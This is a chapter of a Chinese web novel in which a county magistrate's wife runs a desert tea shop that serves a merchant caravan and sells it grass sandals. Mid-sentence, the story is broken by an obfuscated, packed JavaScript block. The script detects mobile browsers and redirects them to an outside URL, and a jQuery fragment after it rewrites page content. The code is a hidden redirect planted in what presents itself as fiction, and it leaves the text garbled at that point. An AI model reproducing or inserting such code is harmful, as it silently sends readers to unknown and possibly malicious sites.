天地广袤无垠,土黄色的路上,一队商队缓缓行走。无论是人还是骆驼马骡,在这茫茫的天地间都显得格外渺小。风卷起黄沙,烟尘飞扬,这天地间便只有土黄色这一样颜色了。
愈发让人觉得难耐。
“掌柜的,你看,前头是不是有间茶水铺子?”甘大舔了舔干裂的嘴唇,可刚舔湿了些的唇角让风一吹,瞬间又干了。甘大只好咽了咽口水,可口里根本没甚唾液,干巴巴的吞咽动作只叫人觉着嗓子疼。
“掌柜的,咱去歇歇脚,喝口水润润唇吧?”甘大的眼睛里盛满了对水的渴望,“连骆驼都受不住了。”
跑商的骆驼要耐力好,不止要耐劳,还要耐饥耐渴。甘大所在的商队关外关内都敢走,队里的骆驼自然都是顶顶好的。可雨季过后的西北之地,又干又晒,他们之前还经过了一大片戈壁滩。
戈壁滩上没草没树,只有满地的怪石,夏日、白天,这俩加在一起的戈壁滩像是要把人烤干。满地的怪石又让装满货物的商队行路艰难。吞吞的一路走来,他们队里自带的净水,在那片戈壁滩上耗得差不多了。
离水源还有一段路,甘大实在是受不住了,所以即便是他已认出了那地儿是宣威县,他仗着几分情分忍不住开口。那迎风招展的幌子和上头的茶壶,明晃晃地,叫人心底的那股子燥意再也压不住。
“那茶水铺子在城外,咱们不进城,只在外头歇口气缓一缓。”甘大看见带队的掌柜眼底有些动摇,压低声音道,“先前传闻里的商队虽说死绝了,可后头这么多年,再没出过这样的事儿。咱们饮完水便走,一刻也不多留,前头路途平坦,咱们走快些便能在靠近谷水的地儿驻扎,那里可不好下手。”
谷水县,只听名字就知道与贫瘠的宣威县绝不相同。那里是西北地里少有的水草丰茂之地,朝廷在那儿设有御马司,养了大批的战马。守备森严,巡逻的兵士们日夜不停风雨不歇,没有哪个不开眼的沙匪敢在那处行事。
领队的掌柜往后瞧了瞧,骆驼的双峰有些瘪了,鼻子不断喷气,四蹄踢踏。再看看人,个个唇角开裂干巴巴的。掌柜的点点头大声道:“大伙儿再加把劲,前头的茶水铺子瞧见了没?咱在那儿歇歇脚,也喝个水饱!”
掌柜的这句话,仿佛在干巴巴的队伍里注入了一汪清泉,商队的伙计大声应和,疲惫不堪的身子又生出些力气,朝着那扎眼的幌子行去。
而在宣威茶水铺子里忙碌的众人老早就注意到了这群在荒茫大地上行走的商队,再三确认了商队是朝着茶水铺子而来。铺子里的众人俱是一脸的喜色,常顺按捺住心中的喜意,脸上好不容易露出一个不那么过分热情的笑来:“都稳重点儿,别又叫咱吓走了!”
常顺原是跟在沈知衍身边儿的,可林芷要人来管茶水铺子,选来选去实在没得选,便只能从沈知衍身边儿撬人了。反正沈知衍现在宣威县的处境已大有不同,便先金哲林芷这头。
这家叫‘宣威茶水铺’的铺子虽名儿起得过于直白,可位置实在是妙。在夏季,大多数的商队经过前头那片戈壁滩后,无论是人还是牲口都是渴水的,先前也有商队硬着头皮来过。
可却叫铺子里的人生生吓跑了。
想想看,一个疑似与杀人越货沾边儿的县,铺子里全是大汉,又过于殷勤,实在是很难不惹人怀疑。
吓跑了商队,常顺很是自责,去林芷那儿领罚。
林芷细细问过常顺,又把铺子里帮忙的人都叫来。除了常顺,铺子里的其余五人都是在宣威县本地招来的,林芷想让这里的人学着与商队打交道。
计划制定的时候很完美,可落地的时候总会因为种种缘由出些岔子。林芷当时看着五个八尺出头的大汉一字儿排开站在她面前,眼里的凶光便是极力收敛也透着悍勇。
“你们这是想做生意?”林芷发出灵魂拷问。然后就是换人,除了常顺,其余的大汉全换成家里的妇人或者半大小子。
重新组成的队伍总算不那么吓人了,果然,那支商队慢慢靠近茶水铺子的时候,发现里面基本是妇人和半大小子之后,紧绷的面色稍稍松动了几分。
“店家,有甚顶事儿的吃食都赶紧上,茶水多上几壶。骆驼也要饮水,动作快些,咱们还得赶路。”掌柜的靠近茶水铺后一眼就瞧见了侧边正在悠闲饮水嚼豆饼的骆驼,那是店家的。又细细看了,发现食槽中间打通了,一整排都是相通的,他便放下心来,让店家帮忙喂骆驼。
常顺大喜,一边儿安排俩小子去和商队里的人牵骆驼,一边儿应道:“您先歇口气!咱家吃食有蒸面、扁食和馒头,您都来些?”
领头的掌柜的落座,发现这茶水铺子外头看着潦草,里头却很有些意思。他坐在这里,抬头便能看见侧面的牲口棚,正对面便是灶台,店家有何动作一眼便能瞧见。
掌柜的更放心了,又瞧见甘大带着人盯着那俩小子给骆驼添水,心里头更满意:“都来!豆饼可还有?给骆驼也添上。”
“有!您放心,一准儿给您把骆驼喂好!”常顺脸上笑开了花,手脚麻利的上茶水和吃食。这商队足有六十来人,这笔生意做成了,可有得赚!
铺子里顿时忙得火星子钻,好在有林芷先前的交代,铺子从早上开张后,灶里的火就没停过。此时三位灶间老手齐齐上阵,东西一笼一笼的上,桌子上就没空过。吃饱喝足的商队总算是缓过来了,面上显出几分惬意。
常顺便又领着众人将商队的水囊也灌满,掌柜的心下满意,笑道:“店家实诚,吃食味儿也不错。”
说着便随手搁下了一把碎银子:“我从前来可没瞧见这里有茶水铺子,甚时候开的?东家眼光倒是好。”
常顺憨厚一笑,面上一派纯良:“不瞒客人,这茶水铺子是县里知县夫人的产业,知县夫人手下经手的产业不少,可不是眼光独到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431481|159076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么!”
林芷查过《大虞律》,发现本朝律法虽明令禁止官员行商,可对官员的妻子却无甚要求。她和沈知衍商量过,便很是放心的让常顺打出自己的旗号,也算是另一重保障了。
看,这是知县夫人的产业,绝不是黑店。
果然,商队众人彻底放下心来:背靠官家,还敢如此高调行事,便不会干那伤人的事。
常顺见商队众人面上的打量都散去,立马拎着一串草鞋上前:“客人可要瞧瞧草鞋?咱宣威县的芨芨草席子可是最好不过了。这草鞋便是用芨芨草编的,鞋底子加厚了,可绝不会扎脚,软和又耐用!”
掌柜的这会儿吃饱喝足,便有闲情与常顺顽笑几句:“你这茶水铺子路子倒是广,还做起鞋铺子的生意来了。”
常顺便一脸的与有荣焉:“还是咱知县夫人心善,不仅腾地方免费让宣威县的乡民们贩草鞋,还让我帮着说上几句哩!”
“掌柜的,您有本事是赚大钱的人,自然不知道这宣威县的乡民挣几个铜子儿有多不易。您瞧瞧,这恁好的手艺恁好的鞋子,是一点儿也不知道往外卖!”
常顺长长一叹,很有几分恨铁不成钢的味道。要是林芷在这儿,一准儿要惊叹于常顺精湛的演技。
商队行走在外,最是废鞋,一人买十双都不够用的。这一路上跋山涉水,若是脚上的鞋子再不合脚,那更是磨人。
掌柜的伸手拿过一双草鞋细看,果然手艺好用料足,手一挥:“行!您东家这眼光没得说,知道咱们这些靠双脚走路的跑商最是废鞋。你这的货可备足了?我这队伍一共六十有三,每人肯定不止买一双,若是有货,便拿出来让我们挑个合适的尺码。”
“有!当然有!咱开门做生意的,哪有不备足货让客人挑选的道理。您稍等,我这就让人拿出来!”常顺大喜,又奉承了一句,“客人是爽快人,怪不得生意做的这样大!”
一瞬间,二百来双草鞋便卖出去了。跑商的商人果然富,不止没要常顺抹零,扔下银子说剩下的是赏钱,整理好货物便走了。
宣威茶水铺,除开先前那几日的清冷,随着跑商的队伍越来越多,铺子里的进项是愈发好了。林芷盘账时还吓了一跳,原以为是个当跳板的茶水铺子,可没成想,还是个香饽饽。
这些个关外关内跑的商队出手果然大方,如此富商,光是卖茶水和一顿饭的吃食,是不是有点儿亏了?至于捎带着卖的草鞋,常顺还真不是胡说,是林芷免费出主意出地方还出人手,给宣威县乡民寻的进项。
她吃了大头,总得分人几口汤。只有人人手里都有钱了,才会生出更多赚钱的路来。
林芷脑筋转得飞快,人吃的干粮暂时没法子,宣威县粮少,若是要应承下往来客商路上的干粮,怕是不够。明年,等宣威县的粮食产量上来后,她一定要把这桩生意揽下来!
那,打打牲口粮草的主意?